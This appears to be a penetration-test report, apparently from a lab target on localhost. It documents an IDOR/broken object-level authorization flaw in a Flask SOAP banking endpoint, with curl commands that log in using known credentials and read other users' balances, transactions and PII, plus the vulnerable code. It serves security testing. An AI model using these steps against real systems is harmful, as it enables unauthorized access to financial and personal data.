# Authorization Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTHZ-VULN-01: Broken Object Level Authorization (IDOR) on SOAP Service

**Summary:**
- **Vulnerable location:** `POST /soap_service` endpoint (lines 159-191 in `app.py`)
- **Overview:** Any authenticated user can access ANY account's sensitive financial information (balance, transactions) and personally identifiable information (name, email) by manipulating the `account_id` parameter in SOAP XML requests. The application only validates authentication (session exists) but does not validate that the requesting user owns the target account.
- **Impact:** Complete horizontal privilege escalation - authenticated users can enumerate and access all accounts in the system, exposing sensitive financial data and PII for all users.
- **Severity:** Critical

**Prerequisites:**
- Valid credentials for any user account (known: `john:password123`)
- HTTP access to `http://localhost:39111`
- Ability to send POST requests with XML payload

**Exploitation Steps:**

1. **Authenticate as user 'john' to obtain valid session cookie:**
   ```bash
   curl -X POST http://localhost:39111/login \
     -d "username=john&password=password123" \
     -c cookies.txt \
     -v
   ```
   Expected: HTTP 302 redirect to `/dashboard` with Set-Cookie header containing session token.

2. **Verify legitimate access to user's own account (baseline test):**
   ```bash
   curl -X POST http://localhost:39111/soap_service \
     -b cookies.txt \
     -H "Content-Type: application/xml" \
     -d '<GetAccountInfoRequest><account_id>123456</account_id></GetAccountInfoRequest>'
   ```
   Expected response:
   ```xml
   <GetAccountInfoResponse>
       <account_id>123456</account_id>
       <balance>1000 USD</balance>
       <recent_transactions>Transaction1</recent_transactions>
       <recent_transactions>Transaction2</recent_transactions>
   </GetAccountInfoResponse>
   ```

3. **Exploit IDOR to access unauthorized account 999999:**
   ```bash
   curl -X POST http://localhost:39111/soap_service \
     -b cookies.txt \
     -H "Content-Type: application/xml" \
     -d '<GetAccountInfoRequest><account_id>999999</account_id></GetAccountInfoRequest>'
   ```
   Expected response (UNAUTHORIZED ACCESS):
   ```xml
   <GetAccountInfoResponse>
       <account_id>999999</account_id>
       <balance>1000 USD</balance>
       <recent_transactions>Transaction1</recent_transactions>
       <recent_transactions>Transaction2</recent_transactions>
   </GetAccountInfoResponse>
   ```

4. **Exploit IDOR to access account holder PII for account 888888:**
   ```bash
   curl -X POST http://localhost:39111/soap_service \
     -b cookies.txt \
     -H "Content-Type: application/xml" \
     -d '<GetAccountHolderInfoRequest><account_id>888888</account_id></GetAccountHolderInfoRequest>'
   ```
   Expected response (UNAUTHORIZED PII ACCESS):
   ```xml
   <GetAccountHolderInfoResponse>
       <account_id>888888</account_id>
       <name>John Doe</name>
       <email>john.doe@example.com</email>
   </GetAccountHolderInfoResponse>
   ```

**Proof of Impact:**

Successfully accessed account data for arbitrary account IDs (999999, 888888) that do not belong to the authenticated user 'john'. The application returned HTTP 200 status with complete account information including:
- Account balance (financial data)
- Recent transactions (financial history)
- Account holder name (PII)
- Account holder email (PII)

This demonstrates complete horizontal privilege escalation - any authenticated user can:
- Enumerate all accounts by iterating account_id values
- Access sensitive financial information for any account
- Access personally identifiable information for any account holder
- Bypass all authorization controls through simple parameter manipulation

**Root Cause Analysis:**

The vulnerability exists because:
1. Line 160: `@login_required` decorator only validates authentication (session exists)
2. Lines 168/178: `account_id = root.find('.//account_id').text` extracts user-controlled value
3. Lines 169/179: Service methods accept ANY account_id without ownership validation
4. No mapping exists between `session['username']` and authorized account_ids
5. No authorization check compares the requesting user to the resource owner

**Technical Details:**

The `@login_required` decorator (lines 146-152) only checks if a session exists:
```python
if 'username' not in session:
    return redirect(url_for('login'))
```

The SOAP service handler extracts the account_id without validation:
```python
account_id = root.find('.//account_id').text
response_data = service.get_account_info(account_id)  # NO OWNERSHIP CHECK
```

The service methods (lines 19-32) return data for ANY account_id provided:
```python
def get_account_info(account_id):
    return {
        'account_id': account_id,  # Returns whatever account_id was requested
        'balance': '1000 USD',
        'recent_transactions': ['Transaction1', 'Transaction2']
    }
```

**Notes:**

This is a textbook OWASP API Security Top 10 #1 vulnerability: Broken Object Level Authorization (BOLA), also known as Insecure Direct Object Reference (IDOR). The application conflates authentication (who you are) with authorization (what you can access), resulting in complete failure of resource-level access controls.
